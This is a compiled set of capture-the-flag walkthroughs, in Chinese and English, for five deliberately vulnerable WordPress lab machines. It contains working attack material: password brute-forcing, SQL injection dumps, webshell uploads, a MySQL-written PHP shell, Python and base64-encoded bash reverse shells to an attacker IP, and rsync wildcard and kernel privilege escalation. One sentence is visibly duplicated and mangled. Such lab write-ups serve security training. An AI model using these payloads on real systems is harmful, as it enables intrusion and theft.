WordPress 插件与管理权限
WordPress 实验分别涉及登录反馈、插件读取、上传、数据库和本地任务。本章把同一入口之后的不同权限路径并列,保留原插件版本、账户状态与操作结果。
分析重点
Phoenix 的盲注与上传属于两个插件,OTP 和 rsync 是后续系统阶段。
Stapler 同时保留文件读取、数据库写入、历史记录与内核分支。
EVM、Mr Robot 与 Hackademic 保留账户确认和实际文件执行证据。
案例与技术索引
| 分析入口 | 实验来源 | 技术点 |
|---|---|---|
| WordPress 账户与配置凭据 | evm | WordPress、凭据泄露、文件上传 |
| Web 写入与内核提权候选 | Hackademic-RTB1 | WordPress、文件上传、内核 |
| 认证响应、去重字典与交互式程序 | Mr-Robot-1 | WordPress、密码审计、SUID |
| 插件盲注与双因素验证材料 | phoenix | WordPress、SQL注入、2FA、rsync |
| 插件文件读取与数据库写入 | Stapler-1 | WordPress、LFI、MySQL、内核 |
WordPress 账户与配置凭据
原链由用户名枚举、后台认证到插件执行,再追踪本地泄露的 root 密码。保留各次工具输出与认证结果。
来源 evm · 原记录 2020-05-23 · 8 个代码块 · 1 处图片引用
查看分析过程、攻击步骤与完整代码
name
Name: EVM: 1
Date release: 2 Nov 2019
download
Download: https://mega.nz/#F!pVV1CKYI!ABCpQ0qUdbuYIszf0ljH1w
Download (Mirror): https://download.vulnhub.com/evm/EVM.ova
Download (Torrent): https://download.vulnhub.com/evm/EVM.ova.torrent
description
This is super friendly box intended for Beginner’s
This may work better with VirtualBox than VMware
information gathering
first use nmap as usual
1 | root@kali:~# nmap -sn -v 192.168.56.* |
1 | root@kali:~# nmap -sV -sC -T4 -p- -v -A 192.168.56.103 |
- Enumeration
use dirb
1 | root@kali:~# dirb http://192.168.56.103/ |
use wpscan for more information
1 | root@kali:~# wpscan --url http://192.168.56.103/wordpress/ -e at -e ap -e u |
now use wpscan bruteforce user c0rrupt3d_brain’s password
1 | wpscan --url http://192.168.56.103/wordpress -U c0rrupt3d_brain -P /usr/share/wordlists/rockyou.txt |
and we got Username: c0rrupt3d_brain, Password: 24992499
get a shell by using msf
1 | msf5 > use exploit/unix/webapp/wp_admin_shell_upload |
then we got root’s password
1 | $ cat .root_password_ssh.txt |
privilege escalation
1 | $ su root |
Just such a simplest machine i have ever tried…:)
Summary of knowledge
- wpscan find wordpress user
- wpscan bruteforce wordpress user’s pass
- msf exploit/unix/webapp/wp_admin_shell_upload module to get a shell
- root’s password disclosure
Contact me
- QQ: 1185151867
- twitter: https://twitter.com/fdlucifer11
- github: https://github.com/FDlucifer
I’m lucifer11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more…
Web 写入与内核提权候选
原记录从应用枚举进入文件写入,再逐个验证本地提权候选。成功分支和 Exploit Suggester 的候选列表保留区分。
来源 Hackademic-RTB1 · 原记录 2019-12-11 · 11 个代码块 · 8 处图片引用
查看分析过程、攻击步骤与完整代码
名称:Hackademic: RTB1
发布日期:2011年9月6日
下载
- Download (Mirror): https://download.vulnhub.com/hackademic/Hackademic.RTB1.zip
- Download (Torrent): https://download.vulnhub.com/hackademic/Hackademic.RTB1.zip.torrent
描述:
这是mr.pr0n提出的第一个现实性黑客攻击挑战
下载目标并获得root。
尝试读取根目录中文件“ key.txt”的内容。
请享用!
漏洞:
- 纯文本密码
- 提权
- 重用凭证
- SQL注入
- 不受限制地上传危险类型的文件
靶机打开界面

信息收集
上nmap
1 | nmap -sn -v 192.168.84.0/24 |
1 | root@kali:~# nmap -A -v -sS -Pn -T4 --script=vuln 192.168.84.140 |
打开发现是wordpress的,直接上wpscan
1 | root@kali:~# wpscan --url http://192.168.84.140/Hackademic_RTB1/ |

点击之后在后面加上单引号,明显有注入
直接上sqlmap,这站太烂了;)
1 | sqlmap.py -r C:\Users\HASEE\AppData\Local\Temp\\1576033944962.req -D wordpress -T wp_users --dump |
上传shell
5个用户爆出账号密码之后,发现GeorgeMiller有管理员权限,使用此账号登录GeorgeMiller/q1w2e3
如下图所示改为允许php文件上传

上传文件成功


提权
冰蝎中执行命令查看内核版本

1 | Linux HackademicRTB1 2.6.31.5-127.fc12.i686 #1 SMP Sat Nov 7 21:41:45 EST 2009 i686 i686 i386 GNU/Linux |
为此内核使用漏洞利用建议脚本。 可以在这里下载脚本Linux_Exploit_Suggester
1 | root@kali:~# ./Linux_Exploit_Suggester.pl -k 2.6.31 |
一个个慢慢尝试,直到使用了rds这个exploit成功了。
[+] rds
CVE-2010-3904
Source: http://www.exploit-db.com/exploits/15285/
下载地址:
然后使用冰蝎的shell将15285.c上传到服务器目录下

locate命令查找kali中的php的reverse shell
1 | root@kali:~# locate shells |
其中/usr/share/webshells/php/php-reverse-shell.php即为要使用的shell,leafpad打开此文件修改ip地址和端口号如下图,改成kali攻击机的ip和端口

然后同样如上方式上传到服务器的目录下,浏览器访问该木马,同时kali攻击机上nc监听
1 | listening on [any] 5566 ... |
成功弹回shell ;););)
gcc编译提权脚本并执行
1 | sh-4.0$ ls |
提权成功!就是这么屌!!!接下来读取key.txt文件找到密码,挑战完成。
1 | cd /root |
eg:
还可以使用如下命令将shell变得看起来更舒服
1 | python -c 'import pty; pty.spawn("/bin/sh")' |
不好意思,这次没有找到希腊某位大佬的傻瓜式一键通关脚本,i am so sorry about this…It’s a pity…
The end,to be continue…
认证响应、去重字典与交互式程序
WordPress 登录反馈决定用户名与字典,哈希材料连接本地用户。后续保留 SUID nmap 交互模式的权限变化。
来源 Mr-Robot-1 · 原记录 2020-01-02 · 24 个代码块 · 4 处图片引用
查看分析过程、攻击步骤与完整代码
发布日期
名称:Mr-Robot: 1
发布日期:2016年6月28日
下载
- Download (Mirror): https://download.vulnhub.com/mrrobot/mrRobot.ova
- Download (Torrent): https://download.vulnhub.com/mrrobot/mrRobot.ova.torrent
描述
根据表演,机器人先生。
此VM在不同位置有三个key。 您的目标是找到全部三个。 每个密钥逐渐难以找到。
VM不太困难。 没有任何高级开发或逆向工程。 该级别被认为是初学者-中级。
信息收集
上nmap
1 | root@kali:~# nmap -sn -v 192.168.56.0/24 |
1 | root@kali:~# nmap -p- -v -sV -Pn 192.168.56.107 |
1 | root@kali:~# nmap -p 80,443,22 -sV -Pn -T5 -A --script=vuln 192.168.56.107 |
dirb扫一波
1 | root@kali:~# dirb http://192.168.56.107/ |
可以看到是wordpress的cms
看一看robots.txt
http://192.168.56.107/robots.txt
1 | User-agent: * |
此时第一个key已经有了
http://192.168.56.107/key-1-of-3.txt
1 | 073403c8a58a1f80d943455fb30724b9 |
然后将fsocity.dic下载下来分析
1 | root@kali:~# wget http://192.168.56.107/fsocity.dic |
1 | root@kali:~# file fsocity.dic |
这看起来像一个自定义单词列表,其中包含800k +个单词。但是,似乎有很多重复了:
1 | root@kali:~# sort fsocity.dic | uniq | wc -l |
将fsocity.dic去重
1 | root@kali:~# sort fsocity.dic | uniq > fsocityrm.dic |
可以看到去重之后的字典只有11451条了,显然在这里安装了wordpress。 如果浏览到/readme.html,可以看到使用的WordPress版本为4.3.9。要做的下一件事是在计算机上运行WpScan。 它揭示了几个过时的模块,但没有设法利用。
因此,决定专注于管理面板,并尝试强行爆破管理员账号密码。 第一步是找到有效的用户名。 不幸的是,该网站似乎没有任何帖子,因此没有作者信息出现。 WpScan也无法枚举用户。
幸运的是,有一个非常方便的工具叫做Hydra,它可以暴力破解几乎所有东西,包括HTTP格式的用户名。 这是尝试登录/wp-login.php时发出的POST请求
1 | POST /wp-login.php HTTP/1.1 |
使用hydra爆破,第一步,尝试找到用户名
1 | root@kali:~# hydra -L fsocityrm.dic -p wedontcare 192.168.56.107 http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=Invalid username" |
- 得到用户名是elliot,不区分大小写。
分解下各个参数的含义
- -vV : 输出详情
- -L fsocityrm.dic : 尝试fsocityrm.dic中的所有用户名
- -p wedontcare : 使用唯一的密码没关系(我们现在只对用户名感兴趣)
- 192.168.56.107 : wordpress的ip地址
- http-post-form : 要尝试的暴力手段,这里是HTTP POST表单
- ‘/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=Invalid username’
/wp-login.php : 表单所在的路径
log=^USER^&pwd=^PASS^&wp-submit=Log+In : 要发送的POST参数。^USER^和^PASS^是占位符,将被替换为实际值。
F=Invalid username : 如果响应包含文本无效的用户名,则将尝试视为失败(F)
得到用户名之后用hydra爆破密码
1 | root@kali:~# hydra -l elliot -P fsocityrm.dic 192.168.56.107 http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=is incorrect." -t 64 |
- 得到密码:ER28-0652
getshell

将图片中的内容替换成冰蝎马,然后连接

上传php-reverse-shell,然后kali端监听
1 | http://192.168.56.107/wp-content/themes/twentyfifteen/phpreverseshell.php |
1 | root@kali:~# nc -lvp 5566 |
成功弹回shell
找到第二个key,但是权限不足
1 | $ cd home |
接着看看password.raw-md5有什么
1 | $ cat password.raw-md5 |
显然,它看起来像是未加盐的MD5哈希密码,使用HashCat进行破解应该很容易。
1 | $ ./hashcat64.exe -a 0 -m 0 c3fcd3d76192e4007dfb496cca67e13b D:/wordlists/rockyou.txt |

由于电脑的GPU配置超屌,所以密码一秒钟就出来了,是abcdefghijklmnopqrstuvwxyz
1 | c3fcd3d76192e4007dfb496cca67e13b:abcdefghijklmnopqrstuvwxyz |
直接登录
1 | $ su robot |
读取第二个key,帅呆了。。。
1 | robot@linux:~$ ls |
提权
在MySQL数据库中没什么有趣的。 还有一个名为mich05654的WordPress用户,其密码为Dylan_2791,但似乎毫无用处。
经过一段时间的系统探索,发现了一个有趣的二进制文件,其SUID为:
1 | find / -perm -4000 -type f 2>/dev/null |
是的,是NMap本身! 确切地说,它是旧版本(3.81)。 有趣的是,可执行文件由root拥有。 由于其SUID位置1,因此如果设法让nmap运行命令,则nmap理论上可以以root用户身份执行命令。
看一下nmap –help的输出,可以告诉我们nmap具有–interactive选项,可以产生某种REPL。
1 | robot@linux:~$ nmap --interactive |
成功使用nmap提权,找到第3个key,挑战完成。。。
1 | cd /root |
Game over
不好意思,这次还是没有找到希腊某位大佬的傻瓜式一键通关脚本,i am so sorry about this…It’s a pity…

The end,to be continue…
插件盲注与双因素验证材料
两个 WordPress 插件分别提供查询与写入能力,OTP 材料和 rsync 任务影响本地身份。原文保留直接改插件未能继续推进的观察。
来源 phoenix · 原记录 2022-03-24 · 23 个代码块 · 11 处图片引用
查看分析过程、攻击步骤与完整代码
introduce
OS: Linux
Difficulty: Hard
Points: 40
Release: 05 Mar 2022
IP: 10.10.11.149
Enumeration
NMAP
1 | ┌──(root💀kali)-[~/hackthebox/machine/phoenix] |
We have a couple http ports, let’s start with them:
We’re given the domain phoenix.htb so we add it to /etc/hosts. We can register and login to an account:
After singing in, we’re taken to a wordpress panel:
We see pie register however no luck with exploiting it. We can bruteforce directories and find there’s a WAF too:
We also have a site administrator that we find over at /forum:
Looking further into this /forum directory, we find it’s ran by Asgaros Forum, the current install is vulnerable to SQLi:d find cron.sh.xLooking further into this /forum directory, we find it’s ran by Asgaros Forum, the current install is vulnerable to SQLi:
1 | wpscan --url https://phoenix.htb/ --disable-tls-checks –enumerate u |
- Asgaros Forum < 2.0.0 - Subscriber+ Blind SQL Injection
we first need to get the _wpnonce value:
1 | https://phoenix.htb/wp-admin/admin-ajax.php?action=rest-nonce |
so we can build the payload request like below:
1 | POST /?rest_route=/asgaros-forum/v1/reaction/1/hello HTTP/2 |
confirmed this is a time based sql injection
Foothold
We confirm this works via manual injection. I’ll use SQLMAP to further this:
1 | sqlmap --url https://phoenix.htb/forum/?subscribe_topic=1 --level 3 --risk 3 --batch |
1 | Database: wordpress |
The immediately useful ones are wp_user that we can dump:
1 | +----+------------+------------------------------------+---------------+------------------------+---------------------+---------------------+-----------------------------------------------+-------------+--------------+ |
This didn’t get me as far as I’d like. We can crack pheonix’s password to phoenixthefirebird14 using john and rockyou.txt. We can try the file upload exploit:
1 | ┌──(root💀kali)-[~/hackthebox/machine/phoenix] |
- Exploit Title: Wordpress Plugin Download From Files 1.48 - Arbitrary File Upload
This is pretty easy to use however we run into an SSL cert issue:
We need to change up the request to ignore SSL verification (on both requests):
1 | # Exploit Title: Wordpress Plugin Download From Files 1.48 - Arbitrary File Upload |
We can retry using a php reverse shell, Make sure this is saved with a .phtml exploit:
- php-reverse-shell.php
1 | ┌──(root💀kali)-[~/hackthebox/machine/phoenix] |
1 | ┌──(root💀kali)-[~/hackthebox/machine/phoenix] |
GET OPT KEY
we find there is a 2FA auth in /wp-admin login page, we try to figure it out how to bypass it, or just get the OTP key:
and we found encrypt and decrypt functions from the source of that miniorange plugin at handler/twofa/two_fa_utility.php
1 | wp_user@phoenix:~/wordpress$ cat /opt/wordpress/wp-content/plugins/miniorange-2-factor-authentication/handler/twofa/two_fa_utility.php |
then We can grab the wordpress login from the wp-config.php file:
1 | define( 'DB_NAME', 'wordpress' ); |
then connect to mysql to get more information:
1 | wp_user@phoenix:/$ mysql -uwordpress -p |
and then easily write an decrypt exp php file to get the key:
1 | <?php |
1 | ┌──(root💀kali)-[~/hackthebox/machine/phoenix] |
then we can use OPT dynamic code to login:
but login is no use for later movement, we just need to known there is a way to this
User own
We can completely bypass the 2FA by renaming the plugin over at /opt/wordpress/ but it doesn’t get us much further than we already are.
Instead back to using SSH, we can look into bypassing the 2FA completely (for ssh this time, not wordpress), in the /etc/pam.d/ssh config, we see reference to an accessfile:
read more about it:
- pam_google_authenticator
1 | auth [success=1 default=ignore] pam_access.so accessfile=/etc/security/access-local.conf |
We need to connect from an IP on the 10.11.2.13/24 subnet, which we can’t do from our machine or locally from the other machine. so we use ssh command in the wp_user shell:
We finally SSH over to the box, reusing editor‘s password:
1 | wp_user@phoenix:~/wordpress$ ssh editor@10.11.12.13 |
Root own
we found a cron job file in
1 | editor@phoenix:/dev/shm$ find /usr/local/bin/ -perm -o=x -type f 2>/dev/null |
We can run pspy however we can’t see processes from other users. Enumerating the box more, we find cron.sh.x, if we run this manually and see what it’s doing:
1 | 2022/03/23 19:15:04 CMD: UID=1002 PID=50487 | /usr/local/bin/cron.sh.x -c exec '/usr/local/bin/cron.sh.x' "$@" /usr/local/bin/cron.sh.x |
It seems to use a few wild cards. We can try exploit this line:
1 | rsync --ignore-existing -t *.* jit@10.11.12.14:/backups/ |
We can see some article here:
gtfobins-rsync
Wildcards Spare tricks
We can create 2 files in /backups to exploit this:
1 | echo "echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjEwLzEyMzQgMD4mMQ==|base64 -d|bash" > shell.sh |
after 3 minutes, we got a root shell:
1 | ┌──(root💀kali)-[~/hackthebox/machine/phoenix] |
Summary of knowledge
- wordpress enumeration
- Asgaros Forum < 2.0.0 plugin - Subscriber+ Blind SQL Injection
- john crack wordpress hash
- Exploit Title: Wordpress Plugin Download From Files 1.48 - Arbitrary File Upload to get shell
- OPT KEY decrypt
- bypass linux 2FA
- use cron job file rsync process to privesc
Contact me
- QQ: 1185151867
- twitter: https://twitter.com/fdlucifer11
- github: https://github.com/FDlucifer
I’m lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more…
插件文件读取与数据库写入
WordPress 插件、MySQL 文件权限、历史记录和内核分支是原文的多种路径。每条成功与失败记录继续并列呈现。
来源 Stapler-1 · 原记录 2020-04-13 · 26 个代码块 · 3 处图片引用
查看分析过程、攻击步骤与完整代码
名称
名称:Stapler: 1
发布日期:2016年6月8日
下载
Stapler.zip
- Download (Mirror): https://download.vulnhub.com/stapler/Stapler.zip
- Download (Torrent): https://download.vulnhub.com/stapler/Stapler.zip.torrent
描述
1 | +---------------------------------------------------------+ |
信息收集
上nmap
1 | root@kali:~# nmap -sn -v 192.168.56.* |
1 | root@kali:~# nmap -sV -v -p- 192.168.56.122 |
1 | root@kali:~# nmap -A -T4 -v --script=vuln -p 21,22,53,80,139,666,3306,12380 192.168.56.122 |
dirb扫一波12380端口的目录
1 | root@kali:~# dirb https://192.168.56.122:12380/ |
上nikto
1 | root@kali:~# nikto -host http://192.168.56.122:12380/ |
wpscan扫一下https://192.168.56.122:12380/blogblog/
1 | root@kali:~# wpscan --disable-tls-checks --url https://192.168.56.122:12380/blogblog/ --enumerate u |
1 | root@kali:~# wpscan --disable-tls-checks --url https://192.168.56.122:12380/blogblog/ --enumerate p |
getshell
访问
1 | https://192.168.56.122:12380/blogblog/wp-content/plugins/ |
在eploitdb中搜索
1 | root@kali:~# searchsploit wordpress advanced video |
查看exploit的内容
1 | root@kali:~/vulnhub/stapler-1# cat /usr/share/exploitdb/exploits/php/webapps/39646.py |
修改poc中的ip和文件夹保存后运行poc,下面是修改后的poc脚本内容
1 | import random |
运行poc后没有任何输出,但是在https://192.168.56.122:12380/blogblog/wp-content/uploads/目录下新增了一个957550172.jpeg文件,下载此文件并查看里面的内容
1 | root@kali:~/vulnhub/stapler-1# cat 957550172.jpeg |
找到mysql数据库的账号和密码:root/plbkac,接下来连接数据库
首先猜测网站绝对路径如下
1 | MySQL [wordpress]> select load_file('/var/www/https/robots.txt'); |
使用以下myssql语句写入木马
1 | MySQL [wordpress]> Select "<?php echo shell_exec($_GET['cmd']);?>" into outfile "/var/www/https/blogblog/wp-content/uploads/shell.php"; |
成功写入木马并能执行命令
1 | https://192.168.56.122:12380/blogblog/wp-content/uploads/shell.php?cmd=id |
现在执行下面命令来反弹一个shell
浏览器执行
1 | https://192.168.56.122:12380/blogblog/wp-content/uploads/shell.php?cmd=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.102",5566));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' |
kali端,成功的弹回了shell
1 | root@kali:~# nc -lvp 5566 |
使用下面的命令尝试找出ssh的账号密码
1 | www-data@red:/$ pwd |
发现下面两个账号密码均能成功登录
1 | JKanode thisimypassword |
1 | root@kali:~# ssh JKanode@192.168.56.122 |
1 | root@kali:~# ssh peter@192.168.56.122 |
执行下面的命令利用peter用户提权
1 | red% sudo usermod -s /bin/bash |
成功的获取到了root用户的权限并拿到了flag
其他方法
也可以访问wordpress数据库后然后选择用户john并破解hash值,它将是“不正确的”使用用户“john”和密码“incorrect”访问wordpress然后导航以添加插件,然后上传shell,将在/blogblog/wp-content/uploads目录中找到shell
使用nc作为侦听器建立连接之后,还可以使用下面的方法进行提权
提权参考1 Linux-UAF通过bpf-BPF-PROG-LOAD-错误路径中的double-fdput
提权参考2 Linux内核4.4.x-Ubuntu-16.04-double-fdput-bpf-BPF_PROG_LOAD-提权
其它更多方法请自行尝试。。。
知识点总结
- wordpress用户枚举
- WordPress Plugin Advanced Video 1.0 - 本地文件包含
- python poc修改
- select load_file(‘/var/www/https/robots.txt’); mysql语句读取文件内容
- select “php木马内容” into outfile “/var/www/https/blogblog/wp-content/uploads/shell.php”; mysql语句写入木马
- python脚本反弹shell
1 | python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.102",5566));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' |
- find命令寻找登录的历史ssh密码
1 | find -name ".bash_history" -exec cat {} \; 2>/dev/null |
- sudo -i提权
1 | sudo usermod -s /bin/bash |
- Linux内核4.4.x-Ubuntu-16.04-double-fdput-bpf-BPF_PROG_LOAD-提权
Game over
不好意思,这次还是没有找到希腊某位大佬的傻瓜式一键通关脚本,i am so sorry about this…It’s a pity…

The end,to be continue…












